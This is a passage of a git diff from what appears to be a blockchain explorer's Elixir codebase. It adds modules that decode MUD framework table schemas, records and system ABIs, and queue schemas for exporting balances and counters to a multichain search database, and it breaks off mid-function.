FieldSchema.from("0x0014010061000000000000000000000000000000000000000000000000000000"), + value_schema: FieldSchema.from("0x002001005f000000000000000000000000000000000000000000000000000000"), + key_names: ["system"], + value_names: ["systemId"] + } + + @world_function_selector_table_id Base.decode16!("7462776f726c6400000000000000000046756e6374696f6e53656c6563746f72", + case: :lower + ) + + # https://github.com/latticexyz/mud/blob/5a6c03c6bc02c980ca051dadd8e20560ac25c771/packages/world/src/codegen/tables/FunctionSelectors.sol#L24-L32 + @world_function_selector_schema %Schema{ + key_schema: FieldSchema.from("0x0004010043000000000000000000000000000000000000000000000000000000"), + value_schema: FieldSchema.from("0x002402005f430000000000000000000000000000000000000000000000000000"), + key_names: ["worldFunctionSelector"], + value_names: ["systemId", "systemFunctionSelector"] + } + + @world_function_signature_table_id Base.decode16!("6f74776f726c6400000000000000000046756e6374696f6e5369676e61747572", + case: :lower + ) + + # https://github.com/latticexyz/mud/blob/5a6c03c6bc02c980ca051dadd8e20560ac25c771/packages/world/src/codegen/tables/FunctionSignatures.sol#L21-L29 + @world_function_signature_schema %Schema{ + key_schema: FieldSchema.from("0x0004010043000000000000000000000000000000000000000000000000000000"), + value_schema: FieldSchema.from("0x00000001c5000000000000000000000000000000000000000000000000000000"), + key_names: ["functionSelector"], + value_names: ["functionSignature"] + } + + @primary_key false + typed_schema "records" do + field(:address, Hash.Address, null: false) + field(:table_id, Hash.Full, null: false) + field(:key_bytes, Data) + field(:key0, Hash.Full) + field(:key1, Hash.Full) + field(:static_data, Data) + field(:encoded_lengths, Data) + field(:dynamic_data, Data) + field(:is_deleted, :boolean, null: false) + field(:block_number, :decimal, null: false) + field(:log_index, :decimal, null: false) + end + + def enabled? do + Application.get_env(:explorer, __MODULE__)[:enabled] + end + + @doc """ + Returns the paginated list of registered MUD world addresses. + """ + @spec worlds_list(Keyword.t()) :: [Mud.t()] + def worlds_list(options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + Mud + |> distinct(true) + |> select([r], r.address) + |> where([r], r.table_id == ^@store_tables_table_id) + |> page_worlds(paging_options) + |> limit(^paging_options.page_size) + |> Repo.Mud.all() + end + + defp page_worlds(query, %PagingOptions{key: %{world: world}}) do + query |> where([item], item.address > ^world) + end + + defp page_worlds(query, _), do: query + + @doc """ + Returns the total number of registered MUD worlds. + """ + @spec worlds_count() :: non_neg_integer() + def worlds_count do + Mud + |> select([r], r.address) + |> distinct(true) + |> Repo.Mud.aggregate(:count) + end + + @doc """ + Returns the decoded MUD table schema by world address and table ID. + """ + @spec world_table_schema(Hash.Address.t(), Hash.Full.t()) :: {:ok, Schema.t()} | {:error, :not_found} + def world_table_schema(world, table_id) do + Mud + |> where([r], r.address == ^world and r.table_id == ^@store_tables_table_id and r.key0 == ^table_id) + |> Repo.Mud.one() + |> case do + nil -> + {:error, :not_found} + + r -> + {:ok, decode_schema(r)} + end + end + + @doc """ + Returns the paginated list of registered MUD tables in the given world, optionally filtered by namespace or table name. + Each returned table in the resulting list is represented as a tuple of its ID and decoded schema. + """ + @spec world_tables(Hash.Address.t(), Keyword.t()) :: [{Hash.Full.t(), Schema.t()}] + def world_tables(world, options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + filter_namespace = Keyword.get(options, :filter_namespace, nil) + filter_search = Keyword.get(options, :filter_search, nil) + + Mud + |> where([r], r.address == ^world and r.table_id == ^@store_tables_table_id) + |> filter_tables_by_namespace(filter_namespace) + |> filter_tables_by_search(filter_search) + |> page_tables(paging_options) + |> order_by([r], asc: r.key0) + |> limit(^paging_options.page_size) + |> Repo.Mud.all() + |> Enum.map(&{&1.key0, decode_schema(&1)}) + end + + defp page_tables(query, %PagingOptions{key: %{table_id: table_id}}) do + query |> where([item], item.key0 > ^table_id) + end + + defp page_tables(query, _), do: query + + @doc """ + Returns the number of registered MUD tables in the given world. + """ + @spec world_tables_count(Hash.Address.t(), Keyword.t()) :: non_neg_integer() + def world_tables_count(world, options \\ []) do + filter_namespace = Keyword.get(options, :filter_namespace, nil) + filter_search = Keyword.get(options, :filter_search, nil) + + Mud + |> where([r], r.address == ^world and r.table_id == ^@store_tables_table_id) + |> filter_tables_by_namespace(filter_namespace) + |> filter_tables_by_search(filter_search) + |> Repo.Mud.aggregate(:count) + end + + defp filter_tables_by_namespace(query, nil), do: query + + defp filter_tables_by_namespace(query, :error), do: query |> where([tb], false) + + defp filter_tables_by_namespace(query, namespace) do + query |> where([tb], fragment("substring(? FROM 3 FOR 14)", tb.key0) == ^namespace) + end + + defp filter_tables_by_search(query, %Hash{} = table_id) do + query |> where([tb], tb.key0 == ^table_id) + end + + defp filter_tables_by_search(query, search_string) when is_binary(search_string) do + query |> where([tb], ilike(fragment("encode(?, 'escape')", tb.key0), ^"%#{search_string}%")) + end + + defp filter_tables_by_search(query, _), do: query + + @default_sorting [ + asc: :key_bytes + ] + + @doc """ + Returns the paginated list of raw MUD records in the given world table. + Resulting records can be sorted or filtered by any of the first 2 key columns. + """ + @spec world_table_records(Hash.Address.t(), Hash.Full.t(), Keyword.t()) :: [Mud.t()] + def world_table_records(world, table_id, options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + sorting = Keyword.get(options, :sorting, []) + + Mud + |> where([r], r.address == ^world and r.table_id == ^table_id and r.is_deleted == false) + |> filter_records(:key0, Keyword.get(options, :filter_key0)) + |> filter_records(:key1, Keyword.get(options, :filter_key1)) + |> SortingHelper.apply_sorting(sorting, @default_sorting) + |> SortingHelper.page_with_sorting(paging_options, sorting, @default_sorting) + |> Repo.Mud.all() + end + + @doc """ + Returns the list of first 1000 MUD systems registered for the given world. + """ + @spec world_systems(Hash.Address.t()) :: [{Hash.Full.t(), Hash.Address.t()}] + def world_systems(world) do + Mud + |> where([r], r.address == ^world and r.table_id == ^@world_system_registry_table_id and r.is_deleted == false) + |> limit(1000) + |> Repo.Mud.all() + |> Enum.map(&decode_record(&1, @world_system_registry_schema)) + |> Enum.map(fn s -> + with {:ok, system_id} <- Hash.Full.cast(s["systemId"]), + {:ok, system} <- Hash.Address.cast(s["system"]) do + {system_id, system} + end + end) + |> Enum.reject(&(&1 == :error)) + end + + @doc """ + Returns reconstructed ABI of the MUD system in the given world. + """ + @spec world_system(Hash.Address.t(), Hash.Address.t(), Keyword.t()) :: + {:ok, Hash.Full.t(), [FunctionSelector.t()]} | {:error, :not_found} + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + def world_system(world, system, options \\ []) do + # pad to 32 bytes + padded_system_address_hash = %Data{bytes: <<0::size(96)>> <> system.bytes} + + # If we were to access MUD tables in SQL, it would look like: + # SELECT sr.*, fsl.*, fsg.* + # FROM tb.world.SystemRegistry sr + # JOIN tb.world.FunctionSelector fsl ON fsl.systemId = sr.systemId + # JOIN tb.world.FunctionSignature fsg ON fsg.functionSelector = fsl.worldFunctionSelector + # WHERE sr.system = $1 + {system_records, function_selector_signature_records} = + Mud + |> where( + [r], + r.address == ^world and r.table_id == ^@world_system_registry_table_id and r.is_deleted == false and + r.key_bytes == ^padded_system_address_hash + ) + |> join( + :left, + [r], + r2 in Mud, + on: + r2.address == ^world and r2.table_id == ^@world_function_selector_table_id and r2.is_deleted == false and + fragment("substring(? FOR 32)", r2.static_data) == r.static_data + ) + |> join( + :left, + [r, r2], + r3 in Mud, + on: + r3.address == ^world and r3.table_id == ^@world_function_signature_table_id and r3.is_deleted == false and + r3.key_bytes == r2.key_bytes + ) + |> select([r, r2, r3], {r, {r2, r3}}) + |> limit(1000) + |> Repo.Mud.all() + |> Enum.unzip() + + with false <- Enum.empty?(system_records), + system_record = Enum.at(system_records, 0), + {:ok, system_id} <- Hash.Full.cast(system_record.static_data.bytes) do + {:ok, system_id, reconstruct_system_abi(system, function_selector_signature_records, options)} + else + _ -> {:error, :not_found} + end + end + + @spec reconstruct_system_abi(Hash.Address.t(), [{Mud.t(), Mud.t()}], Keyword.t()) :: [FunctionSelector.t()] + defp reconstruct_system_abi(system, function_selector_signature_records, options) do + system_contract = SmartContract.address_hash_to_smart_contract(system, options) + + # fetch verified contract ABI, if any + verified_system_abi = + ((system_contract && system_contract.abi) || []) + |> ABI.parse_specification() + |> Enum.filter(&(&1.type == :function)) + |> Enum.into(%{}, fn selector -> + {:ok, method_id} = MethodIdentifier.cast(selector.method_id) + {to_string(method_id), selector} + end) + + function_selector_signature_records + |> Enum.reject(&(&1 == {nil, nil})) + |> Enum.map(fn {function_selector_record, function_signature_record} -> + function_selector = function_selector_record |> decode_record(@world_function_selector_schema) + + # if the external world function selector is present in the verified ABI, we use it + world_function_selector = + verified_system_abi |> Map.get(function_selector |> Map.get("worldFunctionSelector")) + + if world_function_selector do + world_function_selector + else + abi_method = parse_function_signature(function_signature_record) + + # if the internal system function selector is present in the verified ABI, + # then it has the same arguments as the external world function, but a different name, + # so we use it after replacing the function name accordingly. + # in case neither of the selectors were found in the verified ABI, we use the ABI crafted from the method signature + verified_system_abi + |> Map.get(function_selector |> Map.get("systemFunctionSelector"), abi_method) + |> Map.put(:function, abi_method.function) + end + end) + end + + @spec parse_function_signature(Mud.t()) :: FunctionSelector.t() + defp parse_function_signature(function_signature_record) do + raw_abi_method = + function_signature_record + |> decode_record(@world_function_signature_schema) + |> Map.get("functionSignature") + |> FunctionSelector.decode() + + raw_abi_method + |> Map.put(:type, :function) + |> Map.put(:state_mutability, :payable) + |> Map.put(:input_names, 0..(Enum.count(raw_abi_method.types) - 1) |> Enum.map(&"arg#{&1}")) + end + + @doc """ + Preloads last modification timestamps for the list of raw MUD records. + + Returns a map of block numbers to timestamps. + """ + @spec preload_records_timestamps([Mud.t()]) :: %{non_neg_integer() => DateTime.t()} + def preload_records_timestamps(records, options \\ []) do + block_numbers = records |> Enum.map(&(&1.block_number |> Decimal.to_integer())) |> Enum.uniq() + + Block + |> where([b], b.number in ^block_numbers) + |> select([b], {b.number, b.timestamp}) + |> Chain.select_repo(options).all() + |> Enum.into(%{}) + end + + @doc """ + Returns the number of MUD records in the given world table. + """ + @spec world_table_records_count(Hash.Address.t(), Hash.Full.t(), Keyword.t()) :: non_neg_integer() + def world_table_records_count(world, table_id, options \\ []) do + Mud + |> where([r], r.address == ^world and r.table_id == ^table_id and r.is_deleted == false) + |> filter_records(:key0, Keyword.get(options, :filter_key0)) + |> filter_records(:key1, Keyword.get(options, :filter_key1)) + |> Repo.Mud.aggregate(:count) + end + + defp filter_records(query, _key_name, nil), do: query + + defp filter_records(query, _key_name, :error), do: query |> where([r], false) + + defp filter_records(query, :key0, key), do: query |> where([r], r.key0 == ^key) + + defp filter_records(query, :key1, key), do: query |> where([r], r.key1 == ^key) + + @doc """ + Returns the raw MUD record from the given world table by its ID. + """ + @spec world_table_record(Hash.Address.t(), Hash.Full.t(), Data.t()) :: {:ok, Mud.t()} | {:error, :not_found} + def world_table_record(world, table_id, record_id) do + Mud + |> where([r], r.address == ^world and r.table_id == ^table_id and r.key_bytes == ^record_id) + |> Repo.Mud.one() + |> case do + nil -> + {:error, :not_found} + + r -> + {:ok, r} + end + end + + defp decode_schema(nil), do: nil + + defp decode_schema(record) do + schema_record = decode_record(record, @store_tables_table_schema) + + %Schema{ + key_schema: schema_record["keySchema"] |> FieldSchema.from(), + value_schema: schema_record["valueSchema"] |> FieldSchema.from(), + key_names: schema_record["abiEncodedKeyNames"] |> decode_abi_encoded_strings(), + value_names: schema_record["abiEncodedValueNames"] |> decode_abi_encoded_strings() + } + end + + defp decode_abi_encoded_strings("0x" <> hex_encoded) do + hex_encoded + |> Base.decode16!(case: :mixed) + |> TypeDecoder.decode_raw([{:array, :string}]) + |> Enum.at(0) + end + + @doc """ + Decodes a given raw MUD record according to table schema. + + Returns a JSON-like map with decoded field names and values. + """ + @spec decode_record(Mud.t() | nil, Schema.t() | nil) :: map() | nil + def decode_record(nil, _schema), do: nil + + def decode_record(_record, nil), do: nil + + def decode_record(record, schema) do + key = decode_key_tuple(record.key_bytes.bytes, schema.key_names, schema.key_schema) + + value = + if record.is_deleted do + schema.value_names |> Enum.into(%{}, &{&1, nil}) + else + decode_fields( + record.static_data, + record.encoded_lengths, + record.dynamic_data, + schema.value_names, + schema.value_schema + ) + end + + key |> Map.merge(value) + end + + defp decode_key_tuple(key_bytes, fields, layout_schema) do + {_, types} = Schema.decode_types(layout_schema) + + fields + |> Enum.zip(types) + |> Enum.reduce({%{}, key_bytes}, fn {field, type}, {acc, data} -> + type_size = static_type_size(type) + <> = data + + enc = + if type < 64 or type >= 96 do + :binary.part(word, 32 - type_size, type_size) + else + :binary.part(word, 0, type_size) + end + + decoded = decode_type(type, enc) + + {Map.put(acc, field, decoded), rest} + end) + |> elem(0) + end + + defp decode_fields(static_data, encoded_lengths, dynamic_data, fields, layout_schema) do + {static_fields_count, types} = Schema.decode_types(layout_schema) + + {static_types, dynamic_types} = Enum.split(types, static_fields_count) + + {static_fields, dynamic_fields} = Enum.split(fields, static_fields_count) + + res = + static_fields + |> Enum.zip(static_types) + |> Enum.reduce({%{}, (static_data && static_data.bytes) || <<>>}, fn {field, type}, {acc, data} -> + type_size = static_type_size(type) + {enc, rest} = split_binary(data, type_size) + + decoded = decode_type(type, enc) + {Map.put(acc, field, decoded), rest} + end) + |> elem(0) + + if encoded_lengths == nil or byte_size(encoded_lengths.bytes) == 0 do + res + else + dynamic_type_lengths = + encoded_lengths.bytes + |> :binary.bin_to_list(0, 25) + |> Enum.chunk_every(5) + |> Enum.reverse() + |> Enum.map(&(&1 |> :binary.list_to_bin() |> :binary.decode_unsigned())) + + [dynamic_fields, dynamic_types, dynamic_type_lengths] + |> Enum.zip() + |> Enum.reduce({res, (dynamic_data && dynamic_data.bytes) || <<>>}, fn {field, type, length}, {acc, data} -> + {enc, rest} = split_binary(data, length) + decoded = decode_type(type, enc) + + {Map.put(acc, field, decoded), rest} + end) + |> elem(0) + end + end + + defp static_type_size(type) do + case type do + _ when type < 97 -> rem(type, 32) + 1 + 97 -> 20 + _ -> 0 + end + end + + defp split_binary(binary, size) do + if byte_size(binary) >= size, + do: :erlang.split_binary(binary, size), + else: {<<0::size(size * 8)>>, <<>>} + end + + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + defp decode_type(type, raw) do + case type do + _ when type < 32 -> + raw |> :binary.decode_unsigned() |> Integer.to_string() + + _ when type < 64 -> + size = static_type_size(type) + <> = raw + int |> Integer.to_string() + + _ when type < 96 or type == 196 -> + %Data{bytes: raw} |> to_string() + + 96 -> + raw == <<1>> + + 97 -> + Address.checksum(raw) + + _ when type < 196 -> + raw + |> :binary.bin_to_list() + |> Enum.chunk_every(static_type_size(type - 98)) + |> Enum.map(&decode_type(type - 98, :binary.list_to_bin(&1))) + + 197 -> + raw + + _ -> + raise "Unknown type: #{type}" + end + end +end + +defimpl Jason.Encoder, for: ABI.FunctionSelector do + alias Jason.Encode + + def encode(data, opts) do + function_inputs = encode_arguments(data.types, data.input_names) + + inputs = + if data.inputs_indexed do + function_inputs + |> Enum.zip(data.inputs_indexed) + |> Enum.map(fn {r, indexed} -> Map.put(r, "indexed", indexed) end) + else + function_inputs + end + + Encode.map( + %{ + "type" => data.type, + "name" => data.function, + "inputs" => inputs, + "outputs" => encode_arguments(data.returns, data.return_names), + "stateMutability" => encode_state_mutability(data.state_mutability) + }, + opts + ) + end + + defp encode_arguments(types, names) do + types + |> Enum.zip(names) + |> Enum.map(fn {type, name} -> + %{ + "type" => encode_type(type), + "name" => name, + "components" => encode_components(type) + } + |> Map.reject(fn {key, value} -> {key, value} == {"components", nil} end) + end) + end + + defp encode_type(:bool), do: "bool" + defp encode_type(:string), do: "string" + defp encode_type(:bytes), do: "bytes" + defp encode_type(:address), do: "address" + defp encode_type(:function), do: "function" + defp encode_type({:int, size}), do: "int#{size}" + defp encode_type({:uint, size}), do: "uint#{size}" + defp encode_type({:fixed, element_count, precision}), do: "fixed#{element_count}x#{precision}" + defp encode_type({:ufixed, element_count, precision}), do: "ufixed#{element_count}x#{precision}" + defp encode_type({:bytes, size}), do: "bytes#{size}" + defp encode_type({:array, type}), do: "#{encode_type(type)}[]" + defp encode_type({:array, type, element_count}), do: "#{encode_type(type)}[#{element_count}]" + defp encode_type({:tuple, _types}), do: "tuple" + + defp encode_components({:array, type}), do: encode_components(type) + defp encode_components({:array, type, _element_count}), do: encode_components(type) + + defp encode_components({:tuple, types}), + do: + types + |> Enum.with_index() + |> Enum.map(fn {type, index} -> + %{ + "type" => encode_type(type), + "name" => "arg#{index}" + } + end) + + defp encode_components(_), do: nil + + defp encode_state_mutability(:pure), do: "pure" + defp encode_state_mutability(:view), do: "view" + defp encode_state_mutability(:non_payable), do: "nonpayable" + defp encode_state_mutability(:payable), do: "payable" + defp encode_state_mutability(_), do: nil +end diff --git a/apps/explorer/lib/explorer/chain/mud/schema.ex b/apps/explorer/lib/explorer/chain/mud/schema.ex new file mode 100644 index 000000000000..42c22359f9ef --- /dev/null +++ b/apps/explorer/lib/explorer/chain/mud/schema.ex @@ -0,0 +1,110 @@ +defmodule Explorer.Chain.Mud.Schema do + @moduledoc """ + Represents a MUD framework database record schema. + """ + + defmodule FieldSchema do + @moduledoc """ + Represents a MUD framework database record field schema. Describes number of columns and their types. + """ + + defstruct [:word] + + @typedoc """ + The MUD field schema. + * `word` - The field schema as 32-byte value. + """ + @type t :: %__MODULE__{ + word: <<_::256>> + } + + @doc """ + Decodes field schema type from raw binary or hex-encoded string. + """ + @spec from(binary()) :: t() | :error + def from(<>), do: %__MODULE__{word: bin} + + def from("0x" <> <>) do + with {:ok, bin} <- Base.decode16(hex, case: :mixed) do + %__MODULE__{word: bin} + end + end + + def from(_), do: :error + + @doc """ + Tells the type of the field at index `index` in the field schema. + """ + @spec type_of(t(), non_neg_integer()) :: non_neg_integer() + def type_of(%FieldSchema{word: word}, index), do: :binary.at(word, index + 4) + end + + @enforce_keys [:key_schema, :value_schema, :key_names, :value_names] + defstruct [:key_schema, :value_schema, :key_names, :value_names] + + @typedoc """ + The MUD table schema. Describe column types and names for the given MUD table. + * `key_schema` - The field schema for the key columns. + * `value_schema` - The field schema for the value columns. + * `key_names` - The names of the key columns. + * `value_names` - The names of the value columns. + """ + @type t :: %__MODULE__{ + key_schema: FieldSchema.t(), + value_schema: FieldSchema.t(), + key_names: [String.t()], + value_names: [String.t()] + } + + defimpl Jason.Encoder, for: Explorer.Chain.Mud.Schema do + alias Explorer.Chain.Mud.Schema + alias Jason.Encode + + def encode(data, opts) do + Encode.map( + %{ + "key_types" => data.key_schema |> Schema.decode_type_names(), + "value_types" => data.value_schema |> Schema.decode_type_names(), + "key_names" => data.key_names, + "value_names" => data.value_names + }, + opts + ) + end + end + + @doc """ + Tells the number of static fields in the schema and the list of raw type IDs of all fields in the schema. + """ + @spec decode_types(FieldSchema.t()) :: {non_neg_integer(), [non_neg_integer()]} + def decode_types(layout_schema) do + static_fields_count = :binary.at(layout_schema.word, 2) + dynamic_fields_count = :binary.at(layout_schema.word, 3) + + {static_fields_count, :binary.bin_to_list(layout_schema.word, 4, static_fields_count + dynamic_fields_count)} + end + + @doc """ + Tells the list of decoded type names for all fields in the schema. + """ + @spec decode_type_names(FieldSchema.t()) :: [String.t()] + def decode_type_names(layout_schema) do + {_, types} = decode_types(layout_schema) + types |> Enum.map(&encode_type_name/1) + end + + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + defp encode_type_name(type) do + case type do + _ when type < 32 -> "uint" <> Integer.to_string((type + 1) * 8) + _ when type < 64 -> "int" <> Integer.to_string((type - 31) * 8) + _ when type < 96 -> "bytes" <> Integer.to_string(type - 63) + 96 -> "bool" + 97 -> "address" + _ when type < 196 -> encode_type_name(type - 98) <> "[]" + 196 -> "bytes" + 197 -> "string" + _ -> "unknown_type_" <> Integer.to_string(type) + end + end +end diff --git a/apps/explorer/lib/explorer/chain/mud/table.ex b/apps/explorer/lib/explorer/chain/mud/table.ex new file mode 100644 index 000000000000..3adfc39a6593 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/mud/table.ex @@ -0,0 +1,88 @@ +defmodule Explorer.Chain.Mud.Table do + @moduledoc """ + Represents a decoded MUD framework database table ID. + """ + + alias Explorer.Chain.Hash + + @enforce_keys [:table_id, :table_full_name, :table_type, :table_namespace, :table_name] + @derive Jason.Encoder + defstruct [:table_id, :table_full_name, :table_type, :table_namespace, :table_name] + + @typedoc """ + Decoded MUD table name struct. + * `table_id` - The 32-bytes raw MUD table ID. + * `table_full_name` - The decoded table full name. + * `table_type` - The decoded table type: "offchain" or "onchain". + * `table_namespace` - The decoded table namespace. + * `table_name` - The decoded table name. + """ + @type t :: %__MODULE__{ + table_id: Hash.Full.t(), + table_full_name: String.t(), + table_type: String.t(), + table_namespace: String.t(), + table_name: String.t() + } + + @doc """ + Decodes table type, namespace and name information from raw MUD table ID. + """ + @spec from(Hash.Full.t()) :: t() + def from(%Hash{byte_count: 32, bytes: raw} = table_id) do + <> = raw + + trimmed_namespace = String.trim_trailing(namespace, <<0>>) + trimmed_table_name = String.trim_trailing(table_name, <<0>>) + + table_full_name = + if String.length(trimmed_namespace) > 0 do + prefix <> "." <> trimmed_namespace <> "." <> trimmed_table_name + else + prefix <> "." <> trimmed_table_name + end + + table_type = + case prefix do + "ot" -> "offchain" + "tb" -> "onchain" + _ -> "unknown" + end + + %__MODULE__{ + table_id: table_id, + table_full_name: table_full_name, + table_type: table_type, + table_namespace: trimmed_namespace, + table_name: trimmed_table_name + } + end + + @doc """ + Encodes table full name as a raw MUD table ID. + """ + @spec table_full_name_to_table_id(String.t()) :: {:ok, Hash.Full.t()} | :error + def table_full_name_to_table_id(full_name) do + parts = + case String.split(full_name, ".") do + [prefix, name] -> [prefix, "", name] + [prefix, namespace, name] -> [prefix, namespace, name] + _ -> :error + end + + with [prefix, namespace, name] <- parts, + {:ok, prefix} <- normalize_length(prefix, 2), + {:ok, namespace} <- normalize_length(namespace, 14), + {:ok, name} <- normalize_length(name, 16) do + Hash.Full.cast(prefix <> namespace <> name) + end + end + + defp normalize_length(str, len) do + if String.length(str) <= len do + {:ok, String.pad_trailing(str, len, <<0>>)} + else + :error + end + end +end diff --git a/apps/explorer/lib/explorer/chain/multichain_search_db/balances_export_queue.ex b/apps/explorer/lib/explorer/chain/multichain_search_db/balances_export_queue.ex new file mode 100644 index 000000000000..f1ed8bf05374 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/multichain_search_db/balances_export_queue.ex @@ -0,0 +1,136 @@ +defmodule Explorer.Chain.MultichainSearchDb.BalancesExportQueue do + @moduledoc """ + Tracks token and coin balances, pending for export to the Multichain Service database. + """ + + use Explorer.Schema + import Ecto.Query + alias Ecto.Multi + alias Explorer.Repo + alias Explorer.Chain.{Hash, Wei} + + @required_attrs ~w(address_hash token_contract_address_hash_or_native)a + @optional_attrs ~w(value token_id retries_number)a + @allowed_attrs @optional_attrs ++ @required_attrs + + @primary_key false + typed_schema "multichain_search_db_export_balances_queue" do + field(:id, :integer, primary_key: true, null: false) + field(:address_hash, Hash.Address, null: false) + field(:token_contract_address_hash_or_native, :binary, null: false) + field(:value, Wei) + field(:token_id, :decimal) + field(:retries_number, :integer) + + timestamps() + end + + def changeset(%__MODULE__{} = pending_ops, attrs) do + pending_ops + |> cast(attrs, @allowed_attrs) + |> validate_required(@required_attrs) + end + + @doc """ + Streams a batch of multichain database balances that need to be retried for export. + + This function selects specific fields from the export records and applies a reducer function to each entry in the stream, accumulating the result. Optionally, the stream can be limited based on the `limited?` flag. + + ## Parameters + + - `initial`: The initial accumulator value. + - `reducer`: A function that takes an entry (as a map) and the current accumulator, returning the updated accumulator. + - `limited?` (optional): A boolean indicating whether to apply a fetch limit to the stream. Defaults to `false`. + + ## Returns + + - `{:ok, accumulator}`: A tuple containing `:ok` and the final accumulator after processing the stream. + """ + @spec stream_multichain_db_balances_batch( + initial :: accumulator, + reducer :: (entry :: map(), accumulator -> accumulator), + limited? :: boolean() + ) :: {:ok, accumulator} + when accumulator: term() + def stream_multichain_db_balances_batch(initial, reducer, limited? \\ false) + when is_function(reducer, 2) do + __MODULE__ + |> select([export], %{ + address_hash: export.address_hash, + token_contract_address_hash_or_native: export.token_contract_address_hash_or_native, + value: export.value, + token_id: export.token_id + }) + |> add_balances_queue_fetcher_limit(limited?) + |> Repo.stream_reduce(initial, reducer) + end + + defp add_balances_queue_fetcher_limit(query, false), do: query + + defp add_balances_queue_fetcher_limit(query, true) do + balances_queue_fetcher_limit = + Application.get_env(:indexer, Indexer.Fetcher.MultichainSearchDb.BalancesExportQueue)[:init_limit] + + limit(query, ^balances_queue_fetcher_limit) + end + + @doc """ + Returns an Ecto query that defines the default behavior for handling conflicts + when inserting into the `multichain_search_db_export_balances_queue` table. + + On conflict, this query: + - Increments the `retries_number` field by 1 (or sets it to 1 if it was `nil`). + - Sets the `updated_at` field to the greatest value between the current and the excluded `updated_at`. + + This is typically used with `on_conflict: default_on_conflict()` in Ecto insert operations. + """ + @spec default_on_conflict :: Ecto.Query.t() + def default_on_conflict do + from( + multichain_search_db_export_balances_queue in __MODULE__, + update: [ + set: [ + retries_number: fragment("COALESCE(?, 0) + 1", multichain_search_db_export_balances_queue.retries_number), + updated_at: + fragment("GREATEST(?, EXCLUDED.updated_at)", multichain_search_db_export_balances_queue.updated_at) + ] + ] + ) + end + + # sobelow_skip ["DOS.StringToAtom"] + @spec delete_elements_from_queue_by_params([map()]) :: list() + def delete_elements_from_queue_by_params(balances) do + balances + |> Enum.with_index() + |> Enum.reduce(Multi.new(), fn {balance, ind}, acc -> + balance_address_hash = balance.address_hash + + balance_token_contract_address_hash_or_native_binary = + if byte_size(balance.token_contract_address_hash_or_native) == 6 do + balance.token_contract_address_hash_or_native + else + "0x" <> hex = balance.token_contract_address_hash_or_native + hex |> Base.decode16(case: :lower) |> elem(1) + end + + balance_token_id = balance.token_id + + acc + |> Multi.delete_all( + String.to_atom("delete_#{ind}"), + from( + b in __MODULE__, + where: b.address_hash == ^balance_address_hash, + where: b.token_contract_address_hash_or_native == ^balance_token_contract_address_hash_or_native_binary, + where: + fragment( + "COALESCE(?, -1::numeric) = COALESCE(?::numeric, -1::numeric)", + b.token_id, + ^balance_token_id + ) + ) + ) + end) + end +end diff --git a/apps/explorer/lib/explorer/chain/multichain_search_db/counters_export_queue.ex b/apps/explorer/lib/explorer/chain/multichain_search_db/counters_export_queue.ex new file mode 100644 index 000000000000..e00e79fbd72a --- /dev/null +++ b/apps/explorer/lib/explorer/chain/multichain_search_db/counters_export_queue.ex @@ -0,0 +1,156 @@ +defmodule Explorer.Chain.MultichainSearchDb.CountersExportQueue do + @moduledoc """ + Tracks counters data, pending for export to the Multichain Service database. + """ + + use Explorer.Schema + + import Ecto.Query + + alias Ecto.Multi + alias Explorer.Repo + + @required_attrs ~w(timestamp counter_type data)a + @optional_attrs ~w(retries_number)a + @allowed_attrs @optional_attrs ++ @required_attrs + + @typedoc """ + * `timestamp` - The timestamp of the counters. The counters in `data` are only relevant at the moment of the timestamp. + * `counter_type` - The type of the counters in `data`. Currently only `global` type is implemented which includes the following counters: + - daily transactions number + - total transactions number + - total addresses number + * `data` - The map containing the counters relevant to the timestamp. + * `retries_number` - A number of retries to send the counters to Multichain service. + Equals to `nil` if the counters haven't been sent to the service yet. + """ + @primary_key false + typed_schema "multichain_search_db_export_counters_queue" do + field(:timestamp, :utc_datetime_usec, primary_key: true) + + field(:counter_type, Ecto.Enum, + values: [:global], + null: false, + primary_key: true + ) + + field(:data, :map) + field(:retries_number, :integer) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = queue, attrs) do + queue + |> cast(attrs, @allowed_attrs) + |> validate_required(@required_attrs) + end + + @doc """ + Streams a batch of multichain database counter entries that need to be retried for export. + + This function selects specific fields from the export records and applies a reducer function + to each entry in the stream, accumulating the result. + Optionally, the stream can be limited based on the `limited?` flag. + + ## Parameters + - `initial`: The initial accumulator value. + - `reducer`: A function that takes an entry (as a map) and the current accumulator, returning the updated accumulator. + - `limited?` (optional): A boolean indicating whether to apply a fetch limit to the stream. Defaults to `false`. + + ## Returns + - `{:ok, accumulator}`: A tuple containing `:ok` and the final accumulator after processing the stream. + """ + @spec stream_multichain_db_counters_batch( + initial :: accumulator, + reducer :: (entry :: map(), accumulator -> accumulator), + limited? :: boolean() + ) :: {:ok, accumulator} + when accumulator: term() + def stream_multichain_db_counters_batch(initial, reducer, limited? \\ false) when is_function(reducer, 2) do + __MODULE__ + |> select([export], %{ + timestamp: export.timestamp, + counter_type: export.counter_type, + data: export.data + }) + |> add_queue_fetcher_limit(limited?) + |> Repo.stream_reduce(initial, reducer) + end + + # Limits the SELECT query if needed. The limit is defined in `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_INIT_QUERY_LIMIT` env variable. + # + # ## Parameters + # - `query`: The query to add the limit to. + # - `true or false`: If `true`, add the limit. If `false`, leave the query as it is. + # + # ## Returns + # - The modified query with the limit or the source query without changes. + @spec add_queue_fetcher_limit(Ecto.Query.t(), boolean()) :: Ecto.Query.t() + defp add_queue_fetcher_limit(query, false), do: query + + defp add_queue_fetcher_limit(query, true) do + limit = Application.get_env(:indexer, Indexer.Fetcher.MultichainSearchDb.CountersExportQueue)[:init_limit] + limit(query, ^limit) + end + + @doc """ + Constructs DELETE FROM queries for the counter items to be deleted from the queue. + + ## Parameters + - `queue_items`: A list of items to be deleted from the queue. Each item is identified by its primary key. + + ## Returns + - An `Ecto.Multi` struct containing the delete operations. + """ + @spec delete_query([%{:timestamp => DateTime.t(), :counter_type => atom(), optional(:data) => map()}]) :: 